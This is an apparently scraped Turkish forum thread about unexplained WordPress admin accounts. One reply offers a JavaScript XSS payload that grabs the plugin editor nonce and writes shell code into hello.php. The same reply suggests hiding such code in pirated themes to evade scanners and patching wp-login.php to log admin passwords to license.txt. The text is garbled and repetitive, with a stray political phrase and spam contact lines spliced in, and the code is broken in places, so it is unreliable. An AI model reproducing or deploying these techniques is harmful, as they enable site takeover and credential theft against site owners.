geçen wp sitelerimden birine girdim kullanıcılara bakayım dedim 4 tane ynetici kullanıcı vardı ynetici olarak atanmış sonra kullanıcı kaydına baktım kullanıcı kaydı abone olerak seçili siteye iç birşey olmamış kod felan sokulmamış neyse sldim zaten otomatik update ediyo wp güncel yani anlamadım :D temanda xss vardır yada biri admin şifreni araklamıştır insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Sağollasın kendini bu yolda geliştirmek isteyenler kullanır ben fikir atıyorum ortaya :D insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

x=new XMLHttpRequest p='/wp-admin/plugin-editor. php?'f='file=hello. php'x. open('GET', p+f,0)x. send $='_wpnonce='+/ce" value=" "/. exec +'&newcontent=<?php echo ; ?>&action=update&'+fx. open('POST', p+f,1)x. setRequestHeader x. send yukarıdaki javascript kodunu xss olan açıktan admin abimize tıklattımız anda wordpress hello. php plugin dosyamıza shell kodunu açtırmış oluruz şimdi diyiceksiniz admin tıklıycakta falanda filanda der gibi oluyorsunuzdur warez temaların içine kodu eklediğiniz anda hiç bir script scannera takılmadan istedeğiniz dosyaya istediğiniz komutu yollarsınız Aşşadığdaki verdim kodu wp-login. php dosyasına eklersiniz admin login passını license. txt dosyasına eklemiş olursunuz. if insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

geçen wp sitelerimden birine girdim kullanıcılara bakayım dedim 4 tane ynetici kullanıcı vardı ynetici olarak atanmış sonra kullanıcı kaydına baktım kullanıcı kaydı abone olerak seçili siteye iç birşey olmamış kod felan sokulmamış neyse sldim zaten otomatik update ediyo wp güncel yani anlamadım :D Sorularınızı cilginsigortaci@gmail.com a yazabilirsiniz cevaplar facebook sayfasında >>> facebook.com/cilginsigortaci

Herne kadar bu taraklarda bezim olmasa da, forumda türünün tek rneğisin vesselam hocam :) Makaleyaz. Net - Türkiye'nin Makale Alım-Satım Platformu